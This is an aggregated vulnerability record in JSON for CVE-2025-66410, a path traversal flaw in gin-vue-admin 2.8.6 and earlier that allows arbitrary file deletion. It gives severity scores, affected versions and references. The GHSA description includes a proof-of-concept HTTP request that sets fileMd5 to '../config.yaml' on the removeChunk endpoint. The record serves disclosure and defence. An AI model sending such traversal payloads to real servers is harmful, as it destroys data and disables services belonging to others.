{"id":"CVE-2025-66410","aliases":["CVE-2025-66410","GHSA-jrhg-82w2-vvj7","GO-2025-4171"],"related":[],"kind":"vulnerability","state":"published","title":"Gin-vue-admin has an arbitrary file deletion vulnerability","summary":"Gin-vue-admin is a backstage management system based on vue and gin. In 2.8.6 and earlier, attackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gin-vue-admin is a backstage management system based on vue and gin. In 2.8.6 and earlier, attackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder.","source":"cvelist"},{"lang":"en","text":"### Impact\nAttackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder\n\n The affected code:\n![image (1)](https://github.com/user-attachments/assets/26eab823-2df8-454a-a42e-a512925d62b6)\n\nAffected interfaces:\n/api/fileUploadAndDownload/removeChunk\n\n\nPOC:\nYou can specify the FileMd5 value as the directory or file you want to delete\n\n```POST /api/fileUploadAndDownload/removeChunk HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 78\nsec-ch-ua: \"Not=A?Brand\";v=\"99\", \"Chromium\";v=\"118\"\nx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36\nContent-Type: application/json\nAccept: application/json, text/plain, */*\nx-user-id: 1\nsec-ch-ua-platform: \"Windows\"\nOrigin: http://127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1:8080/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiOGYzYTdjMmMtYjAwMC00ODFmLWEyNGYtYzQyMDc2NTFjNWRmIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTc2MzIxNDQzMywibmJmIjoxNzYyNjA5NjMzfQ.7BTnRq65JDiPdlb0gJuAUa2nifIDTtePsnDnAtZoFJQ\nConnection: close\n\n{\"fileName\":\"ceshi.jpg\",\"fileMd5\":\"../config.yaml\",\"filePath\":\"./fileDir/ceshi.jpg\"}\n```\n![image (2)](https://github.com/user-attachments/assets/aafeb46b-933a-44b6-9fcf-da0f44269e5b)\n\n### Patches\nPlease wait for the latest patch\n\n### References\nhttps://github.com/flipped-aurora/gin-vue-admin","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gin-vue-admin has an arbitrary file deletion vulnerability in github.com/flipped-aurora/gin-vue-admin","format":"markdown","source":"go"},{"lang":"es","text":"Gin-vue-admin es un sistema de gestión de backend basado en vue y gin. En 2.8.6 y versiones anteriores, los atacantes pueden eliminar cualquier archivo en el servidor a voluntad, causando daño o indisponibilidad de los recursos del servidor. Los atacantes pueden controlar el parámetro 'FileMd5' para eliminar cualquier archivo y carpeta.","source":"nvd"}],"published":"2025-12-01T22:28:59.982Z","modified":"2026-10-18T18:10:00.100Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"<= 2.8.6","status":"affected"}],"vendor":"flipped-aurora","product":"gin-vue-admin","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.9.1-0.20251201084432-ee8d8d7e04d9"}],"ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin","purl":"pkg:golang/github.com/flipped-aurora/gin-vue-admin","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.9.1-0.20251201084432-ee8d8d7e04d9"}],"ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin","purl":"pkg:golang/github.com/flipped-aurora/gin-vue-admin","source":"go"},{"ranges":[{"status":"affected","lastAffected":"2.8.6"}],"vendor":"gin-vue-admin_project","product":"gin-vue-admin","cpe":"cpe:2.3:a:gin-vue-admin_project:gin-vue-admin:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/flipped-aurora/gin-vue-admin/security/advisories/GHSA-jrhg-82w2-vvj7","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/flipped-aurora/gin-vue-admin/commit/ee8d8d7e04d9c38a35a6969f20e75213e84f57c6","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66410","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/flipped-aurora/gin-vue-admin","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-12-02T14:11:58.721Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-66410","url":"https://www.cve.org/CVERecord?id=CVE-2025-66410","licence":"CVE Terms of Use","modified":"2025-12-02T14:12:10.529Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jrhg-82w2-vvj7","url":"https://github.com/advisories/GHSA-jrhg-82w2-vvj7","licence":"CC-BY-4.0","modified":"2025-12-03T19:43:47.214Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-4171","url":"https://pkg.go.dev/vuln/GO-2025-4171","licence":"CC-BY-4.0","modified":"2026-03-03T04:57:43.244Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-66410","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66410","licence":"Public domain","modified":"2026-10-18T18:10:00.100Z"}],"updatedAt":"2026-11-25T22:59:08.152Z","epss":{"score":0.00626,"percentile":0.51371,"date":"2026-12-01T12:00:22.000Z"}}